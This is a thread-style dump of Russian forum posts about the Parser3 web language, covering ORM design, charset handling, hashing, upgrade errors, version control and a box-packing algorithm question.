Если бы выборки были без условий или с фильтрацией по одному значению первичного ключа, то проблем бы не было. Но нам ведь приходится делать выборки со сложными условиями (только активные клиенты, с датой заключения договора не больше года, имеющие 5 сотрудников и т.д.) для которых приходится писать отдельные методы или параметризировать функцию и строить запрос динамически (Парсер с этим отлично справляется), для каунтов приходится писать отдельные методы и т.д. и т.п. Но вот удобно ли это? \
\
[quote]Насколько я понимаю у Михаила пару раз возник вопрос в переносе БД из одной системы в другую, но мы не знаем подробностей и причин.\
[/quote]\
\
Знаем, Миша про это писал не раз: он разрабатывает WVC (Имприматур I, если не ошибаюсь), которая может быть запущена у заказчика на разных хостингах и с разными базами данных, поэтому для него важно, чтобы запросы были переносимыми. Ситуация достаточно часто встречается. Если ориентироваться на более-менее стандартный SQL, то можно строить вполне переносимые системы.\
\
[quote]К тому же ориентация на разные БД ограничивает нас в использование каких-то моментов, которые реализованы только в какой-то БД.... Зачем же лишать себя таких вкусностей? [/quote]\
\
Большинство реализаций ОРМов для других Питона, Руби, ПХП и других языков, позволяют писать свои запросы, если есть необходимость сделать какой-то нестандартный выверт, задать хинты для оптимизатора запросов и сделать еще массу вещей, которые могут понадобиться в редких случаев. Никаких вкусностей мы себя не лишаем. И вопрос только в том, насколько мы гибко напишем сами классы.\
\
[quote]но вот насколько медленнее он будет работать?[/quote]\
\
Это зависит от реализации, но мои тесты показали, что реализация шаблона «table data gateway» получается очень быстрой, поскольку генерация запроса задача не очень сложная. У меня в коде замена старых методов доступа на ОРМ вообще не изменила скорость работы (разница показаний была в пределах погрешности измерений). Кроме того, Парсер очень быстрый и бояться каждого «лишнего» вызова функции или регулярного выражения не стоит. :)\
\
p.s. Если кому-то интересно, то в pf'е сейчас есть реализация несложного ОРМа — http://code.volchkov.net/parser3-pf/src/47d1dd96c0b0/sql/orm. Я его потихоньку допиливаю, например, добавляю агрегации, но базовый функционал вполне работоспособен. Работает с Парсером не ниже 3.4.2."
"77109","[code]@USE\
URLTranslit.p\
\
@CLASS\
LoginzaUserProfile\
\
################################################################################\
@auto[]\
\
$URLTranslit[^URLTranslit::create{}]\
\
#end @auto[][/code]\
\
...\
\
[code]# PF Library\
# Copyright (c) 2006-07 Oleg Volchkov\
\
@CLASS\
URLTranslit\
\
\
@create[test]\
  ^_init[][/code]\
\
\
падает с интересной ошибкой: 'create' method of URLTranslit (URLTranslit) accepts maximum 0 parameter(s) (1 present) [parser.runtime]"
"77110","Вызов без параметров - это только ^URLTranslit::create[].\
\
Такое же поведение было до 3.4.0, в 3.4.0 была внесена ошибка, стало работать например ^URLTranslit::create[many;args].\
\
В изменениях это отмечено как \"Исправлена ошибка, из-за которой не всегда корректно проверялось допустимое количество параметров у пользовательских методов.\"\
Да, у нас в коде тоже кое-где это вылезло при обновлении. :)"
"77111","В большинстве случаев именно connect, table:sql и т.п. по самой банальной причине: результат необходимо получить как можно скорее, а соотв. до оберток просто нет времени.\
И вообще парсер для меня — это язык, на котором можно очень быстро и просто решать какие-либо задачи. А под задачу и свои инструменты.\
Увы, но у меня большое кол-во проектов стартует в разработку за 1-2 дня до старта :-( И при этом тянуть резину могут месяцами. И ничего, справляюсь (спасибо парсеру за это :-)), хотя втихомолку мечтаю найти помошника, т.к. работы пруд-пруди. \
Было дело, писал с использованием pf-классов, но в том случае использовались не только методы по работе с базой, но и все возможности mvc-фреймворка. Вообще огромное спасибо за pf, очень нравиться."
"77114","Здравсвуйте! \
Есть сайт, на нём использован Мишин класс аунтификации...\
Сейчас хочу сделать раздел для обсуждений (простой форум по типу данного), была попытка не удачная,  посетители не общаються, только спамеры пишут...\
Кто подскажет скрипты (код) данного форума есть в открытом доступе?\
Этот форум тоже использует класс аунтификации от Миши?"
"77115","Есть описание структуры и работы с ней — http://www.parser.ru/examples/trees/\
Антиспам — http://www.parser.ru/examples/antispam/"
"77117","http://www.parser.ru/f/1/download/linux/parser3_4_2_redhat73_cgi_xml.tar.gz -404 ошибка"
"77119","Скомпилил из сегодняшнего CVS на ARMе Raspberry Pi (aka \"спектрум 21 века\"), проверил с стандартным дебиановским apache2:\
\
http://creator.bcsoft.org/files/parser3_4_2.zip\
http://creator.bcsoft.org/files/libsqlite.zip - тут заодно сама библиотека sqlite\
драйверы для других SQL соберу отдельно, если кому надо."
"77120","при попытке заменить версию 3.4.1 на 3.4.2 - 32 бит linux red hat - 500 ошибка, права выставлены.\
\
[Sun Jul 01 18:24:38 2012] [error]  parser3_.cgi: /usr/lib/libstdc++.so.6: version `GLIBCXX_3.4.9' not found (required by parser3_.cgi)\
[Sun Jul 01 18:24:38 2012] [error]   parser3_.cgi: /lib/libc.so.6: version `GLIBC_2.7' not found (required by parser3_.cgi)\
[Sun Jul 01 18:24:38 2012] [error] Premature end of script headers: parser3_.cgi\
\
вопрос - что делать"
"77121","В репах squeeze версия 3.4.0 с зависимостью от libgc. Также работает на RasPi, на первый взгляд без проблем.\
\
Я собрал самый свежий parser с статически слинкованной libgc, чтобы можно было держать всё необходимое в cgi-bin без внешних ссылок."
"77122","отписал хостеру. обновили библиотеки без лишних вопросов всего лишь после 1 ! письма. Рекорд, уже не задают вопросы что такое parser3 !"
"77123","Будет ли работать parser3 с mariadb или надо что то самостоятельно собирать?"
"77125","http://www.gnu.org/software/libidn/"
"77126","например, $aJoinB[LEFT JOIN table_b on a.id = b.id]\
И для наиболее частых случаев использования БД, а именно - просмотра и редактирования одной записи - у меня есть универсальный класс, требующий в каждом отдельном случае только указатели на оператор обработки поля при показе/сохранении/редактировании. \
\
Первый вариант не предполагает переносимости, второй переносился на PGSQL (кажется) за несколько минут."
"77128","Привет всем. Несколько раз в неделю делаю одну и ту же операцию: открываю файл exel удаляю лишние столбцы и строки сохраняю в формате tab-delimited ну и дальше уже загружаю на сервер где скрипт полученную таблицу благополучно разбирает... Так вот, можно ли как-то избавиться от процесса сохранения таблицы эксель в понимаемый парсорм формат? Очень уж я ленив, хочу максимально автоматизировать процесс, сделать ящик в который будут приходить прайсы и автоматически отправляться на сервер для обработки, но парсер как-то не хочет работать с экселевскими таблицами... Ткните пожалуйста носом куда рыть... Заранее спасибо."
"77131","кстати, на подходе новая версия, в ней будет несколько стандартных обработчиков (вроде autocomplete'а или визуального редактора - это нарушает принцип логических слоев ради скорости и удобства работы) и, видимо, разметка для конвертации в другие БД."
"77137","Добрый день!\
Подскажите, в чем может быть проблема?\
\
Сайт сохранен в UTF-8, в конфиге парсера - [code]$request:charset[/code] и [code]$response:charset[/code] со значением UTF-8, в корневом .htaccess - команда [code]AddDefaultCharset utf-8[/code]. Требуется отдать одну страницу в windows-1251.\
\
Пишу:\
\
[code]$response:charset[windows-1251]\
$response:body[-тест-][/code]\
\
Возвращается страница, сохраненная в utf-8, в заголовках ответа - Content-Type: text/html; charset=UTF-8\
\
Проблема наблюдается только на одном сервере, на других все работает как надо. Версия парсера - 3.3.0\
\
Подскажите пожалуйста, в чем может быть проблема?"
"77139","Уже пробовали, не помогло."
"77140","после задания $response:charset добавьте:\
[code]\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
]\
[/code]\
\
при этом $request:charset доблен быть установлен в UTF-8, и буквы в файле должны быть в UTF-8."
"77141","Спасибо огромное! Часть проблемы решилась. Еще вопрос - а если данные, которые надо отобразить, приходят извне и изначально в windows-1251, это можно как-то решить без перекодирования?\
\
По сути, требуется чтобы данные (которые уже кодированы в windows-1251) в условиях сайта под UTF-8 нормально отобразились в родной кодировке..."
"77142","данные, которые приходят от пользователя, также перекодируются из $response:charset в $request:charset.\
\
если вы хотите сделать так, чтобы сайт продолжал отдавать пользователям данные в utf-8, но умел-бы принимать входящие данные и в utf-8 и в 1251 -- то так парсер не умеет без драйвера ruki.sys."
"77143","Мы используем в качестве генератора xls-файлов PHPExcel. Обращаемся из парсера к скрипту через [code]$response:download[^file::load[binary;путь_к_скрипту;$.method[POST] $.form[данные, которые преобразовываем в Excel]]][/code]\
В ответ приходят готовые данные, которые мы сразу отдаем в браузер. На одном из серверов этот метод не работает, потому что в заголовке устанавливается кодировка UTF-8 и сам файл сохраняется в ней же (а требуется - windows-1251). Вопрос: можно ли как-то поправить заголовок страницы, не меняя при этом ее содержимого? При изменении содержимого данные затираются."
"77144","сообщите также:\
- кодировка файлов парсера (request:charset)\
- кодировка отдачи файлов парсером (response:charset)\
- кодировка, в которой ваш php-скрипт принимает данные по http\
- кодировка, в которой он отдаёт данные\
\
а вообще всё это выглядит странным. вы (php) должны выдавать content-type application/vnd.ms-excel, и кодировки там вроде как быть не должно."
"77145","Кодировка файлов парсера (request:charset) - в конфиге - UTF-8, переопределен в теле страницы - windows-1251\
Кодировка отдачи файлов парсером (response:charset) - в конфиге - UTF-8, переопределен в теле страницы - windows-1251\
Кодировка, в которой php-скрипт принимает данные по http - UTF-8\
Кодировка, в которой он отдаёт данные - windows-1251\
Кодировка ответа сервера браузеру: charset=utf-8\
Кодировка, в которой сохраняется файл - UTF-8"
"77146","то, что php принимает запрос в одной кодировке а отдаёт в другой -- клиника. тем не менее парсер такое умеет, хотя вы этим пользуетесь неправильно.\
\
если вы переопределяете кодировку request:charset в теле страницы, то и баковки этой страницы надо-бы перекодировать. кроме того я не понимаю как это может быть:\
[quote]\
Кодировка файлов парсера (request:charset) - в конфиге - UTF-8, переопределен в теле страницы - windows-1251\
...\
Кодировка, в которой сохраняется файл - UTF-8\
[/quote]\
и\
[quote]\
Кодировка отдачи файлов парсером (response:charset) - в конфиге - UTF-8, переопределен в теле страницы - windows-1251\
...\
Кодировка ответа сервера браузеру: charset=utf-8\
[/quote]\
файлы сохраняются в $request:charset.\
файлы отдаются браузеру в $response:charset\
если вы в коде страницы это переопределили, то оно уже не может быть utf-8.\
\
уберите переопределение кодировок в коде страницы и добавьте к file::load опцию $.charset (проверьте, что эта опция есть у 3.3.0)\
и сделайте, чтобы php выдавал правильный content-type для xls."
"77147","При обнолении с 3.2.2 до 3.4.2 наткнулся на вот такой старый кусок кода:\
\
[code]$sLog[test]\
^sLog.append[/test.log]\
[/code]\
\
Не знаю что хотел сказать автор (может это был и я, коду много лет)), скорее всего просто перепутал с ^sLog.save[append;/test.log], но до версии 3.3.0 включительно этот код не вызывал ошибок (другие не проверял), а в 3.4.2 падает с логичной ошибкой [quote]append :: string method not found[/quote].\
\
Причем ведь ^string.some_method[] такое исключение вызывал и раньше, но append - нет.\
\
Хотелось бы просто понять суть этого изменения, где оно еще может всплыть. Я пробежался по классу string в новостях, ничего про это не обнаружилось, может искал плохо"
"77149","с давних пор этот метод существовал :)\
\
но не был документирован и перед релизом версии 3.4.1 [URL=http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/classes/string.C?view=log&pathrev=release_3_4_1]был убран[/URL] с комментарием \"string.append removed for void compatibility\"\
\
очевидно, что в приведённом коде ошибка. имелось в виду ^sLog.save[append;/test.log]"
"77150","А что он делал то хоть? А то log.txt не создавался ))"
"77151","$shipper_${shipper_id}_quantity_date[$shipper_price_selector.shipper_${shipper_id}_quantity_date]\
раньше такая конструкция насколько я помню не давало ошибки и согласовывалась с примером из мануала \
$name[picture] \
${name}.gif \
теперь пишет syntax error, unexpected '{', expecting STRING ругается на ${shipper_id} я перемудрил? или что изменилось?\
естественно мне надо получить переменную с именем $shipper_1_quantity_date, если уберу скобки то по моему получиться переменная $shipper_0 так как переменная $shipper_id_quantity_date не определена... Или я не прав?"
"77154","^sLog.append[/test.log] = $sLog[$sLog/test.log]\
\
И append не только для void compatibility убрали. У нас c кажется 3.4.0 есть оптимизация $s[$s1] - используется один и тот же объект-строка, поэтому изменяющих строку методов быть не может."
"77155","Хороший вопрос, сейчас провел эксперимент в 3.4.1 не работает уже, более старую версию я затер увы... \
Сейчас провел эксперимент в 3.4.1 \
вот такая конструкция работает\
$name[picture] \
${name}.gif\
такая то же\
$name[picture] \
${name}_1.gif\
а вот такая уже нет\
$1_[aaa]\
$name[picture] \
$1_${name}_1.gif\
за то прекрасно работает \
$1_[aaa]\
$name[picture] \
${1_}${name}_1.gif"
"77156","$[shipper_${shipper_id}_quantity_date][$shipper_price_selector.[shipper_${shipper_id}_quantity_date]]"
"77158","простые варианты работали, работают и будут продолжать работать (они кажется покрыты тестами и в общем активно используются).\
\
ваш вариант использования лично я никогда не применял и не собираюсь (\"белые люди\" используют хэши в подобных случаях).\
[URL=/forum/?id=77156]предложенный вариант[/URL] работает, но... я бы всё равно не стал-бы им пользоваться, т.к. использовать переменные с динамическими меняющимися именами практически никогда не нужно, т.к. есть другие, более простые и изящные решения, например:\
\
$shipper_${shipper_id}_quantity_date\
=>\
$shipper_quantity_date.[$shipper_id]\
\
будет одна переменная типа hash, у которой будут числовые ключи, значениями которых будут данные.\
это проща, понятнее, это \"в духе парсера\""
"77160","возможно вы и правы что вариант с хэшем в духе парсера, по поводу проще и понятнее утверждение спорно на мой взгляд, скорее дело привычки... тем не менее спасибо за разъяснения... \
З.Ы. на \"белых людей\" не обижаюсь но все равно не приятно..."
"77161","В копилку. :) Если уж так писать, то мне больше нравится такой вариант:\
\
$key[shipper_${shipper_id}_quantity_date]\
$$key[$shipper_price_selector.$key]"
"77166","это не сказать, что преимущество. если правильно объявлять переменные локальными, то они все потом могут быть \"собраны\" сборщиком мусора.\
\
в вашем кусочке кода видно, что должно было-бы быть два хеша. в результате подобное перепихивание значения вообще не понадобилось-бы. достаточно было-бы передать хеш. это выглядело бы просто и понятно. и работало-бы, кстати, быстрее."
"77168","[code]\
$s[Найдитеотличия]\
$s[^math:sha1[$s]]\
$s[^s.base64[]]\
$s\
[/code]\
Выдает ZTFmMjA0NWMxNzViZGY4NGVhZmE2ODM2MjgzOWZlOTU1NGQ1MWQwMQ==\
\
[code]\
$str = 'Найдитеотличия';\
echo base64_encode(sha1($str,1));\
[/code]\
Выдает 4fIEXBdb34Tq+mg2KDn+lVTVHQE=\
\
Как так?"
"77170","Действительно base64_encode(sha1($str,0)) выдает тоже самое.\
А есть у парсера функция с true?"
"77172","Никому нужно не было, опять же получается что надо возвращать не строку, а файл (поскольку строка в парсере не может хранить байт 0)."
"77173","Неуж-то никто интерфей к ликпею не делал?\
https://liqpay.com/?do=pages&p=cnb12\
\
Создание подписи:\
подпись имеет вид: подпись(пароль) мерчанта + неупакованный XML - операции + подпись(пароль) мерчанта: PHP: $sign=base64_encode(sha1($merc_sign.$xml.$merc_sign,1));\
\
Пришлось опять делать через php-обертку :("
"77174","Почему-то некоторые проектировщики очень любят бинарные данные в электронных подписях, которые приходится заворачивать в base64 при передаче в текстовых протоколах. В случае с liqpay лучше было использовать sha1(str, false) и передавать шестнадцатиричную строку, которую достаточно просто получить и обработать на любом языке, но разработчики не подумали об этом. Похожий механизм использует Платеж.ру, только для md5-хеширования. В таких случаях позвать внешний скрипт на языке общего назначения самое милое дело. :)\
\
Для платежа я написал скрипт на питоне. Чтобы получить sha1 надо поменять «hashlib.md5()» на «hashlib.sha1()». Hashlib поддерживает алгоритмы: md5(), sha1(), sha224(), sha256(), sha384(), sha512().\
\
[code]\
#!/usr/bin/env python\
# encoding: utf-8\
        \
import sys\
import hashlib\
import base64\
\
def main():\
  m = hashlib.md5()\
  m.update(sys.argv[1])\
  print base64.b64encode(m.digest()),\
  sys.exit(0)\
\
def usage():\
  print \"Calculate md5_base64.\"\
  print \"Usage: %s string\" % sys.argv[0]\
  sys.exit(1)\
\
if __name__ == '__main__':\
  if len(sys.argv) > 1:\
    main()\
  else:\
    usage()\
[/code]\
\
Использовать несложно и уж точно проще, чем звать php:\
[code]\
  $h[^file::exec[str_md5_b64.py;;string]]\
  md5: $h.text\
[/code]"
"77175","по поводу выбора бинарных данных -- очень вероятно что они как раз подстраивались под то, что было у того-же php. а у него эта опция появилась совсем недавно и очень вероятно, что без неё он возвращал только бинарные данные. что им ещё было делать?"
"77176","... а добавили для извращенцев, которым нужны raw-данные. [Посмотри комменты к http://php.net/manual/en/function.sha1.php]\
\
Добавлять raw-формат для функций хеширования в Парсер явный перебор и не «в духе». :)"
"77177","Ну, в данном-то случае raw тоже не нужно. Можно сделать так:\
$s[^math:sha1[$s;hex|base64]], по умолчанию hex."
"77181","Уважаемые создатели, несколько странно видеть исходники под весьма архаичной системой контроля версий CVS, которая наверно уже лет 10 не развивается. А почему бы не смигрировать под более современную систему, вроде hg, git etc.? Тем более делается это очень легко.\
\
К чему это тут все я?\
\
Мне надо было получить исходники разных версий, но инструменты работы с CVS весьма кривые и неудобные, поэтому я решил портировать это дело под Mercurial, если вы конечно не против :) Доступ открыт всем желающим\
\
https://bitbucket.org/egoroff/parser3\
https://bitbucket.org/egoroff/sql\
\
win32 не стал заливать туда.\
\
С меркуриалом гораздо удобнее работать чем с древней CVS"
"77182","[quote]Мне надо было получить исходники разных версий, но инструменты работы с CVS весьма кривые и неудобные[/quote]\
\
Гм.\
\
http://www.parser.ru/download/src/\
\
\"cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project co -r release_3_4_2 parser3\"\
\
Заменой 3_4_2 на требуемое чекаутится нужная версия. Что здесь криво и неудобно?\
\
[quote]С меркуриалом гораздо удобнее работать чем с древней CVS[/quote]\
\
На вкус и цвет. :) Работаю и с svn, и с git, и с hg. Но на парсере функционал даже cvs используется не весь, значимых бонусов от перехода для себя не вижу. Если бы нас осаждали толпы коммитеров - это одна ситуация, а замена ради замены - только лишняя работа. :)"
"77183","Форма:\
\
[code]\
<form class=\"zf\" method=\"POST\" style=\"width: auto\" action=\"$env:REQUEST_URI#document-edit\" enctype=\"multipart/form-data\">\
  <input type=\"hidden\" name=\"db_doc_ID\" value=\"^if(def $tDocument){^tDocument.ID.int(0)}{0}\"/>\
  <input class=\"zf\" type=\"file\" name=\"db_doc_Attach\" id=\"Attach\" onclick=\"return { }\"> (16Mb max)\
  <input class=\"zf\"        type=\"submit\" name=\"sm_document-attach\" value=\"Добавить\" />\
</form>\
[/code]\
\
Обработка:\
\
[code]\
	  ^if(^form:db_doc_ID.int(-1) > 0 && $form:db_doc_Attach is file){\
		^db{^void:sql{	UPDATE sm_Document\
				SET\
				 AttachBody	= _cp1251'^form:db_doc_Attach.sql-string[]',\
				 AttachName	= _cp1251'$form:db_doc_Attach.name',\
				 AttachSize 	= '$form:db_doc_Attach.size',\
				 _edited	= $lDate[^date::now[]] '^lDate.sql-string[]',\
				 _editor	= '$env:REDIRECT_AUTHENTICATE_ID'\
				WHERE ID = $form:db_doc_ID }}\
	  }\
[/code]\
\
Вылетает по ошибке:\
[quote]\
file may not be overwritten with file, store it to variable instead\
[/quote]\
\
Всю голову сломал :("
"77185","не большая задачка.\
есть текстовый файл, который нужно просто разбивать по строкам.\
\
файл представляет собой таблицу из трех колонок.\
строки не имееют нумерации...\
\
представляю что это надо делать в цикле..\
\
но как считать строки ?"
"77188","[code]$path_file[/sms/in/file.txt]\
\
$loaded_table[^table::load[$path_file]] \
\
$count[^loaded_table.count[]]\
\
# разбить по строк\
$strok[95]\
\
#Должно быть файлов $count_files\
$count_files[^eval($count / $strok)]\
\
$ct($count)\
^while($ct > 1){\
  ^ct.dec($strok)\
$t[^loaded_table.select(^loaded_table.line[] > $ct)]\
^t.menu{^t.line[] $t.phone}[<br>]\
}[<hr>][/code]\
\
\
\
разбивает но нетак как надо...\
он делает сначала 95 строк\
потом 95+95\
потом 95+95+95\
и так далее...\
\
а как сделать чтобы каждый по 95 был ?"
"77190","[quot]Заменой 3_4_2 на требуемое чекаутится нужная версия. Что здесь криво и неудобно?[/quot]\
Конкретно тут ничего. Проблемы в другом:\
\
1. Переименование каталогов в CVS ну очень криво сделано, - мы либо теряем историю файла, либо (если делать через хаки) обретаем проблемы в будущем.\
\
2. Для коммита нужен сервер, у DVCS таких проблем нет\
\
3. Текущие GUI инструменты для, например hg сильно лучше визуализируют историю, ветки и пр.\
\
4. Сильно лучшая поддержка ветвлений и слияний, последние вообще в CVS жесть, если менялась структура каталогов.\
\
Ну коли не хотите - дело ваше.\
\
PS: А было бы ещё неплохо иметь открытый багтрекер, в дополнение к исходникам, на том же битбакете, глядишь и народ сильнее интересоваться станет технологией :) Ну впрочем, я вижу что вам это не особо и надо. Без обид :)"
"77191","... в том числе и про багтрекер — http://www.parser.ru/forum/?id=76431 и еще чуть чуть в http://www.parser.ru/forum/?id=76261"
"77192","Замечания к CVS справедливы, но опять же на данном проекте они не мешают. Мне в парсере еще ни разу не приходилось переименовывать каталог, только создавались новые. Ветвление сейчас не используется, а значит и проблем со слиянием нет. И вот тут как раз возможно и следует поменять ситуацию и заводить по ветке на каждую фичу (что обсуждалось), но боюсь это приведет к появлению \"заброшенных\" веток. Текуший подход сильнее мотивирует доводить начатое до финала. Если хочется посмотреть на нашу кухню - пришлю доступ."
"77193","да, ошибка была не там, спасибо.\
\
теперь при передачи файлов более 1Мб парсер вываливается :(\
в логах апача:\
[quote][Thu Jul 19 10:32:47 2012] [error] [client 10.0.0.106] GC Warning: Repeated allocation of very large block (appr. size 2940928):, referer: http://s.local/n.p3h\
\
[Thu Jul 19 10:32:47 2012] [error] [client 10.0.0.106] \\tMay lead to memory leak and poor performance., referer: http://s.local/n.p3h\
\
[Thu Jul 19 10:32:58 2012] [error] [client 10.0.0.106] Premature end of script headers: parser3.cgi, referer: http://s.local/n.p3h\
[/quote]\
\
в логах парсера - пусто"
"77195","все это крутится на тестовом сервере в компании\
никто никаких ограничений (вроде не прописывал)\
где посмотреть / что подкрутить чтобы разграничить ресурсы?\
\
#uname -a\
[code]FreeBSD s.local 8.3-RELEASE-p3 FreeBSD 8.3-RELEASE-p3 #0: Mon Jun 11 23:52:38 UTC 2012     root@i386-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC  i386[/code]\
\
# apachectl -V\
[code]Server version: Apache/2.2.19 (FreeBSD)\
Server built:   Jan 21 2012 18:05:34\
Server's Module Magic Number: 20051115:28\
Server loaded:  APR 1.4.5, APR-Util 1.3.12\
Compiled using: APR 1.4.5, APR-Util 1.3.12\
Architecture:   32-bit\
Server MPM:     Prefork\
  threaded:     no\
    forked:     yes (variable process count)\
Server compiled with....\
 -D APACHE_MPM_DIR=\"server/mpm/prefork\"\
 -D APR_HAS_SENDFILE\
 -D APR_HAS_MMAP\
 -D APR_USE_FLOCK_SERIALIZE\
 -D APR_USE_PTHREAD_SERIALIZE\
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT\
 -D APR_HAS_OTHER_CHILD\
 -D AP_HAVE_RELIABLE_PIPED_LOGS\
 -D DYNAMIC_MODULE_LIMIT=128\
 -D HTTPD_ROOT=\"/usr/local\"\
 -D SUEXEC_BIN=\"/usr/local/bin/suexec\"\
 -D DEFAULT_PIDLOG=\"/var/run/httpd.pid\"\
 -D DEFAULT_SCOREBOARD=\"logs/apache_runtime_status\"\
 -D DEFAULT_LOCKFILE=\"/var/run/accept.lock\"\
 -D DEFAULT_ERRORLOG=\"logs/error_log\"\
 -D AP_TYPES_CONFIG_FILE=\"etc/apache22/mime.types\"\
 -D SERVER_CONFIG_FILE=\"etc/apache22/httpd.conf\"[/code]"
"77197","[code]\
38 processes:  1 running, 37 sleeping\
CPU:  0.0% user,  0.0% nice,  0.0% system,  2.6% interrupt, 97.4% idle\
Mem: 58M Active, 40M Inact, 92M Wired, 3064K Cache, 59M Buf, 293M Free\
Swap: 1024M Total, 49M Used, 975M Free, 4% Inuse\
[/code]\
всё  тихо-спокойно"
"77198","Что выдает limit? Желательно из cgi, поскольку у apache могут быть другие лимиты (в частности из-за RLimitMem)."
"77199","[code]# limit\
cputime      unlimited\
filesize     unlimited\
datasize     524288 kbytes\
stacksize    65536 kbytes\
coredumpsize unlimited\
memoryuse    unlimited\
vmemoryuse   unlimited\
descriptors  7149\
memorylocked unlimited\
maxproc      3574\
sbsize       unlimited\
swapsize     unlimited\
[/code]"
"77200","Лимиты вроде как вполне адекватные. Что написано в $.post_max_size в auto.p?\
\
Хватает ли у cgi-процесса прав записать .core в директорию, где лежит парсер? \"Premature end of script headers\" - символизирует об аварийном прекращении работы. Если core есть, хорошо бы прислать вывод \
\
gbc parser3.cgi -c core\
bt\
\
Да, какая версия парсера используется?"
"77201","[quote]Лимиты вроде как вполне адекватные. Что написано в $.post_max_size в auto.p?[/quote]\
ничего не написано.\
\
[quote]Хватает ли у cgi-процесса прав записать .core в директорию, где лежит парсер?\
[/quote]\
нет, не хватает. core файлов - нету\
\
[quote]Да, какая версия парсера используется?[/quote]\
\
[code]Parser/3.4.1 (compiled on i386-unknown-freebsd8.1)\
Copyright(c) 2001-2009 ArtLebedev Group (http://www.artlebedev.com)\
Author: Alexandr Petrosian <paf@design.ru> (http://paf.design.ru)[/code]"
"77202","[code]$LIMITS[\
        $.post_max_size(10*0x400*0x400)\
]\
[/code]"
"77203","> ничего не написано.\
\
Посмотрите в дистрибутивном auto.p. Там есть такая конструкция. Впрочем, по умолчанию лимит те же 10Mb, и при его превышении пишется ошибка в лог.\
\
Я бы попробовал добавить логгирование в файл по ходу работы скрипта и таким образом попытался бы локализовать проблемное место. Альтернативно примем bug.zip с инструкциями по повторению проблемы."
"77204","> нет, не хватает. \
\
А если добавить прав? :)"
"77205","Подскажите в чем может быть ошибка, делаю запрос:\
[code]$file[^file::load[text;http://api.pumpit.ru/?bla=blabla/][/code]\
тут все работает, если так:\
[code]$file[^file::load[text;http://api.pumpit.ru/bla?bla=blabla/][/code]\
то эта ошибка 'UTF8' unknown charset [parser.runtime]\
Что может быть? \
п.с.\
request:charset и $response:charset = utf-8"
"77206","Во-первых, на приведенный URL ошибки не выдается, вероятно она возникает при определенных значениях параметров.\
\
Речь в ошибке о кодировке, которую выдает api.pumpit.ru. Обычно он выдает \
Content-Type: text/html;charset=utf-8\
но вероятно умеет выдавать и неправильную кодировку. Об этом имеет смысл написать авторам api.pultit.ru.\
\
К сожалению, file::load пока не позволяет работать с сервисами, выдающими невалидную кодировку. Обойти проблему можно используя curl:load, там есть опция явного указания кодировки ответа сервера ($.response-charset). В этом случае кодировка из ответа сервера будет проигнорирована и будет использована заданная кодировка."
"77207","судя по сообщению -- выдавалась неверное имя кодировки (UTF8 вместо UTF-8)\
однако я сделал copy/paste вашего кода и проблемы не увидел, всё загружается без ошибок.\
\
т.е. или ошибка была исправлена (сейчас выдаётся корректная кодировка, смотрел в dragonfly) или ошибка у вас, но где-то в другом месте."
"77208","Получил ответ от суппорта:\
- Cкажите в какой кодировке выдается ответ при завтпросе типа \
http://api.pumpit.ru/riba_api?p_sid=......?\
\
- Доброе утро. Кодировка - utf8\
\
И как быть теперь если не использовать curl?"
"77209","Сказать саппорту, что кодировки utf8 не существует.\
\
\"The official IANA code for the UTF-8 character encoding is UTF-8.\"\
\
http://www.iana.org/assignments/character-sets"
"77210","Ребят, помогите, пожалуйста, восстановить сайт на Парсере http://dobriy-mir.ru/!\
\
Не работает и всё: я резервную копию 3 раза за разные даты пробовал восстанавливать - ничего не получается. :(\
\
Там ещё 2 сайта таких же с проблемами. По оплате - договоримся. Если не сможете сами помочь - помогите нам, пожалуйста, кого - нибудь в помощь дать - у нас тут в этом Парсере никто не разбирается - все только по php специализируются.\
\
Кто может чем - то помочь, пишите, пожалуйста, на почту vad@dizayn-saytov.ru и добляйтесь в скайп: vadxdrive.\
\
Заранее большое спасибо!"
"77211","Шлите ssh доступ на moko@design.ru - посмотрю. Понятно бесплатно."
"77212","Попалась мне тут задачка интересная, помогите с реализацией? Дано:\
\
Есть вот такая табличка (результат SQL запроса)\
\
[code]article	cnt_need_min	cnt_need_max\
article1	6	9\
article2	5	11\
article3	3	6\
article4	2	7\
article5	2	5\
article6	2	5[/code]\
\
Как видно - это перечень товаров. Во второй и третьей колонке - количество этих товаров которое надо купить. Но не просто купить, а сформировать заказ распиханный по коробкам из 10 штук. Причем, когда все товары с ненулевым уровнем min уже распихали, то надо взяться за уровень max, пока все не распихаются. При этом надо учесть переход (т.е. когда в последней коробку уложилось последние допустим 5 товаров, ее надо доукомплектовать 5-ю теми у которых max выше всех). Порядок комплектования важен - первыми комплектуются те, у кого min и max самые большие.\
\
В итоге должны получится вот такие структурки (таблицы, хэши, неважно)\
[code]article1	6\
article2	4\
\
article2	1\
article3	3\
article4	2\
article5	2\
article6	2\
[/code]\
и т.д.\
\
Есть какие нибудь мысли по алгоритму решения и какие структуры использовать? Если бы таблицы можно было перезаписывать - то это было бы проще всего сделать циклом с декрементацией счетчиков, но увы. Преобразование в хэш, имхо, не удобно, но могу ошибаться.\
\
Спасибо заранее"
"77213","Из описания не совсем понятно, что за cnt_need_max такой.\
\
В структуре из примера всё легло исключительно по cnt_need_min по 10 штук, cnt_need_max никак не задействован.\
\
Бывают ли нулевые cnt_need_min и cnt_need_min > 10?\
Можете привести более полную таблицу sql-запроса?\
\
Но сначала надо разобраться с cnt_need_max:)"
"77214","Таблица довольно полная, я просто привел две итоговые структуры (и они покрыли весь min), далее должны быть еще несколько аналогичных но уже на основе max.\
\
Если полностью разобрать исходную базу то будет так\
[code]box1\
article1	6\
article2	4\
\
box2\
article2	1\
article3	3\
article4	2\
article5	2\
article6	2\
\
box3 ^rem{тут уже начали собираться max (из них надо вычесть уже собранные min, т.е. 9-6, 11-5)}\
article1	3\
article2	6\
article3	1\
\
box4\
article3	2\
article4	5\
article5	1\
\
\
box5\
article5	2\
article6	3\
\
^rem{последняя коробка не набралась полностью, но это не страшно}[/code]\
\
min может быть и нулевым и более 10. В первом случае ничего в коробку не попадает, во втором забивается 1 коробка полностью одним товаром, остаток формируется в следующую.\
\
получилось объяснить на примере что такое cnt_need_max? )\
т.е. каждого товара на складе должно быть не менее min но не более max )"
"77215","[quote]получилось объяснить на примере что такое cnt_need_max? )[/quote]\
Не до конца:)\
\
В box3-5 товары добиваются дельтой (cnt_need_max - cnt_need_min).\
\
